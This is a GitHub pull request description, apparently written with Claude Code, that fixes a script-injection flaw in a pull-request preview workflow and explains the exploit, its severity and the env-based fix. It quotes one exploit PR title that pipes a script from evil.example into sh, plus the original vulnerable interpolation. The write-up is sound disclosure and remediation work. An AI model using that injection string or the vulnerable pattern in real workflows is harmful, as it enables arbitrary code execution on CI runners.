Fix script injection in PR Playground preview workflow

[roborourke]

The vulnerability

.github/workflows/pr-playground-preview.yml interpolated an attacker-controlled GitHub Actions expression directly into a run: block:

- name: Update version placeholder
  run: |
      sed -i "s/__VERSION__/Pull Request #${{ github.event.pull_request.number }} - ${{ github.event.pull_request.title }}/g" hubspot-form-block.php

${{ ... }} expressions are substituted textually before the shell parses the script, so the PR title becomes shell source on the runner. The PR number is numeric and safe; the title is not.

Exploit string

A PR opened (or edited — this workflow also triggers on edited) with the title:

a"; curl -sSf https://evil.example/x.sh | sh; #

closes the sed "…" argument and runs the attacker's command. The # comments out the trailing /g" hubspot-form-block.php.

Trigger, token scope, and real severity

• Trigger: pull_request (types: opened, synchronize, reopened, edited) — not pull_request_target.
• Token scope: because it's pull_request, a fork PR runs with a read-only GITHUB_TOKEN and no access to repo secrets. That caps the blast radius — this is not a secret-exfiltration / write-token hole.
• But not harmless: arbitrary code still executes on the runner. The job uses actions/setup-node with cache: 'npm', so npm cache poisoning is a plausible escalation path into later runs (including on main). Same-repo PRs run with a read-write token, but those authors already have write access.

Assessed severity: moderate — runner code execution from an untrusted PR title, no direct secret/write-token exposure, with a cache-poisoning escalation worth noting. I have not executed the workflow to confirm exploitation; this is from reading the trigger and token model.

The fix

- name: Update version placeholder
  env:
      PR_NUMBER: ${{ github.event.pull_request.number }}
  run: |
      sed -i "s/__VERSION__/0.0.0-pr${PR_NUMBER}/g" hubspot-form-block.php

• The PR title is dropped entirely and replaced with a fixed, sanitised version string 0.0.0-pr<number> — safer and a more useful version string for a preview build. (Mirrors the reference fix in humanmade/query-filter.)
• The PR number is passed through env: so it reaches the shell as data, not source text, and is quoted (${PR_NUMBER}). Being numeric, it's also safe as a sed replacement (no &, /, or delimiter metacharacters).

Fork guard

Added a same-repo guard to the job:

jobs:
  preview:
    if: github.event.pull_request.head.repo.full_name == github.repository

The job pushes a pr-<n>-built branch (contents: write). A fork PR gets a read-only token, so without the guard the push step hard-fails rather than being cleanly skipped.

Where the vulnerable file lives

The vulnerable line is present on main and every feature branch in this repo (block-refactor, ci-and-playground, e2e-tests, feat/persist-success-message, fix/block-level-portal-id-scripts, the claude/* branches, and the generated pr-*-built branches) — they all carry the identical copy. This PR fixes it on main (the default branch); those branches will inherit the fix as they merge/rebase main.

No workflow in this repo uses pull_request_target or issue_comment on any branch (checked across all remote branches), so there is no higher-severity variant here.

Verification

• python3 -c "import yaml; yaml.safe_load(open(f))" on the touched workflow → parses cleanly.
• Re-grepped ${{ in the file. Remaining hits are all safe sources, for reviewer triage:
  • github.event.pull_request.number (env L36, and lines building the pr-<n>-built branch name / commit message) — numeric, safe.
  • github.sha (commit message) — SHA, safe.
  • github.repository (proxy URL) — safe.
  • steps.blueprint.outputs.blueprint (in with:) — internally generated JSON, no untrusted data flows into it.
  • secrets.GITHUB_TOKEN (in with:) — secret reference, safe.
• I cannot execute this workflow to prove the fix end-to-end (no way to run GitHub Actions from here); the above is static analysis plus YAML validation.

Out of scope / follow-ups (not fixed here)

• release.yml interpolates a free-text value into run:/sed (currently ${{ steps.version.outputs.version }} from the release tag on main; a separate in-flight PR changes this to a workflow_dispatch ${{ inputs.version }}). Both require write access to trigger (creating a release/tag or dispatching a workflow), so this is not the same attacker-controlled class — low severity — but it would be cleaner to pass the version via env: too. Flagging as a follow-up per scope; not touched in this PR.

🤖 Generated with Claude Code

https://claude.ai/code/session_0195K19h2qMkAjp6iWVghaTc

---

Generated by Claude Code

[github-actions]

Playwright E2E Test Results (PHP 8.4, WP 6.9)

 13 passed
 1 flaky

Details

 14 tests across 4 suites
 2 minutes, 32 seconds
 de3a837

Flaky tests

chromium › persist-success.spec.js › HubSpot Form — persist success › should show full inline message including first-submission group on fresh success